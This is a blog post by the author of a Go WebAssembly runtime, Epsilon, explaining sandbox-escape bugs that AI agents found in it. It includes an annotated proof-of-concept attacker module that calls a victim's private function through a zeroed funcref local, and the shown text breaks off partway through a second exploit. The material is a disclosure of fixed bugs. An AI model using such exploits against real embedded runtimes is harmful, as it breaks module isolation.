All the Bugs They Found

ziggy421 pts0 comments

All the bugs they found

All the bugs they found

2026-05-18

Last year I wrote a small WASM runtime in Go,<br>Epsilon. As far as runtimes go, this is<br>a pretty simple one: no JIT, just a pure instruction interpreter in ~11k lines of code.<br>It is also very extensively tested against the<br>official WASM testsuite.

Epsilon is designed to be embeddable in other applications and provide a sandbox for<br>potentially untrusted code.

How many security vulnerabilities do you think AI agents found in it?

More than 20.

Most of these were somewhat simple DoS attacks, e.g. panics during parsing or<br>validation. Some were clear API design failures that would probably have surfaced sooner<br>with a bit more usage of the project. A few weren't exploitable on their own, but would<br>become serious if combined with a future bug elsewhere.

A handful, though, were properly interesting: sandbox escapes that let a malicious<br>WASM<br>module<br>break out of its isolation and reach into another module's private state. These are my<br>favorites.

Background

A single Epsilon runtime can host multiple WASM modules. In the WASM security model,<br>modules are isolated except for explicitly exported (and imported) objects. Unexported<br>functions, memories, etc., are private to the module that defined them.

WASM is a typed stack machine, but the type checking does not happen at runtime: before<br>execution, a validator walks the bytecode and verifies that at any point the values on<br>the stack have the expected type. For example, a module that tried to<br>local.set an i32 into a funcref local would be<br>rejected before it ever started running. Epsilon then executes blindly, trusting the<br>validator's earlier checks.

Thanks to the type guarantees provided by the validator, a<br>funcref at runtime in Epsilon is represented as an<br>int32: -1 is the null sentinel, and any non-negative value is<br>an index into the global function store, shared across all modules instantiated in<br>the runtime. As a result, the constant 0 and a<br>funcref pointing to the first function in the store are indistinguishable<br>during execution. This simplifies the implementation and improves performance, at the<br>cost of delegating safety entirely to the validator.

Each attacker module in the following sections runs alongside the same victim module:

(module<br>(func $secret (result i32) ;; declares a function $secret: takes no parameters,<br>;; returns a 32-bit integer. Private, never exported<br>i32.const 1337 ;; pushes 1337 onto the stack; becomes the return value

Since $secret is the first function instantiated into the runtime, it lives<br>at store index 0. The goal of each attacker module is to get the VM to call it,<br>returning 1337, despite never being given a legitimate funcref to it.

1. Zero Is Not Null

The simplest of the three. Here's the attacker:

(module<br>(type $t (func (result i32))) ;; the call_indirect type signature<br>(table 1 funcref) ;; a table of size 1 (essentially an array of funcrefs).<br>;; Identified by its module-level index, which is 0<br>;; here since it's the first (and only) table declared

(func (export "exploit") (result i32)<br>(local $f funcref) ;; declared, never assigned;<br>;; per spec, ref locals default to null

i32.const 0 ;; the slot in the table where we'll write<br>;; stack: [0]<br>local.get $f ;; push $f's value (null)<br>;; stack: [0, null]<br>table.set 0 ;; immediate 0 picks which table to write to<br>;; (tables[0]); pops two values from the stack:<br>;; first the funcref (null), then the slot index.<br>;; Writes tables[0][0] = null<br>;; stack: []

i32.const 0 ;; the slot in the table to fetch from next<br>;; stack: [0]<br>call_indirect (type $t) ;; pop the slot, fetch tables[0][slot] (null),<br>;; and call it

The exploit function, while perfectly valid WASM, should trap at runtime.<br>The local $f is uninitialized, therefore null.<br>call_indirect should fail.

Except that in Epsilon, it didn't. It called $secret instead.

The culprit was how locals were initialized. When a function is<br>called, the spec requires locals to be initialized to their default values: zero for<br>numeric and vector types, but null for reference types. Epsilon achieved this by zeroing<br>all non-parameter locals using Go's clear():

// Clear non-parameter locals to their zero values.<br>clear(locals[numParams:])

This was idiomatic and fast, but Go's clear() simply set the local to<br>0. Per our funcref representation, that's not null (-1): it's<br>the store index of $secret. When exploit was called, rather<br>than trapping on a null call_indirect, the VM called the function at store<br>index 0.

Fixed.<br>Repro.

2. Phantom Block Parameter

This one combines two separate bugs:

(module<br>(type $t (func (result i32)))<br>(table 1 funcref)

(func (export "exploit") (result i32)<br>(local $f funcref)

ref.null func ;; push a null funcref onto the stack<br>i32.const 0

(block (param i32) ;; block consumes the i32 from the stack...<br>drop ;; ...and immediately drops it

local.set $f ;; store top of stack into $f (the null funcref)<br>local.get $f<br>ref.is_null ;; is $f null?

if (result...

null funcref module stack local table

Related Articles